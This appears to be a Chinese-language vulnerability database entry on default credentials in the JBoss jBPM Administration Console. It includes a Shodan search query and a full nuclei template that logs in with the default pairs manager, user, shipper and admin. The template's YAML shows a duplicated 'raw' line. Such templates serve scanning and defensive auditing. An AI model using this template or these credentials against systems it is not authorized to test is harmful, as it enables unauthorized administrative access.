JBoss jBPM Administration Console Default Login Vulnerability

漏洞信息

漏洞名称： JBoss jBPM Administration Console Default Login Vulnerability

漏洞类型： 弱口令

漏洞等级： 高危

漏洞描述： 该漏洞涉及JBoss jBPM Administration Console的默认登录信息被检测到的问题。JBoss jBPM是一个业务流程管理套件，广泛用于企业级应用中，支持业务流程的建模、执行和监控。由于其强大的功能和灵活性，它在许多组织中得到了广泛应用。漏洞的根源在于系统使用了默认的用户名和密码组合，如manager/manager、user/user、shipper/shipper和admin/admin，这些默认凭证未被修改，导致攻击者可以轻易地通过这些凭证获得未授权访问权限。这种弱口令问题属于CWE-522类别，即凭证保护不足。攻击者利用此漏洞可以登录到JBoss jBPM Administration Console，进而可能执行恶意操作，如查看敏感信息、修改业务流程或执行其他管理功能，严重威胁到系统的安全性和数据的机密性。由于这是一个默认配置问题，且不需要复杂的攻击技术，因此其风险等级被评估为高危。

产品厂商： redhat

产品名称： jbpm

影响版本： *

搜索语法： html:”JBossWS”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/d694ffeb6baa526904249ded765790e5726c0b03/http%2Fdefault-logins%2Fjboss%2Fjboss-jbpm-default-login.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: jboss-jbpm-default-login

info:
  name: JBoss jBPM Administration Console Default Login - Detect
  author: DhiyaneshDk
  severity: high
  description: JBoss jBPM Administration Console default login information was detected.
  reference:
    - https://github.com/PortSwigger/j2ee-scan/blob/master/src/main/java/burp/j2ee/issues/impl/JBossjBPMAdminConsole.java
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:redhat:jbpm:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 13
    shodan-query: html:"JBossWS"
    product: jbpm
    vendor: redhat
  tags: jboss,jbpm,default-login

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "JBoss"
          - "jbpm"
        condition: or
        internal: true

  - raw:
  - raw:
      - |
        GET /jbpm-console/app/tasks.jsf HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /jbpm-console/app/j_security_check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        j_username={{user}}&j_password={{pass}}
      - |
        GET /jbpm-console/app/tasks.jsf HTTP/1.1
        Host: {{Hostname}}

    attack: pitchfork
    payloads:
      user:
        - manager
        - user
        - shipper
        - admin
      pass:
        - manager
        - user
        - shipper
        - admin
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "JBoss jBPM Administration Console"

      - type: word
        part: body_3
        words:
          - "</span>Tasks"

      - type: status
        status:
          - 200
# digest: 490a004630440220650e82e050297dcac03c864a34ecc0142d63640663832d1d8e802ef2235733d002206f28d1cc34175762124536a76058bfe58a3fd0841f15a13572e8f2c26796f9b9:922c64590222798bb761d5b6d8e72950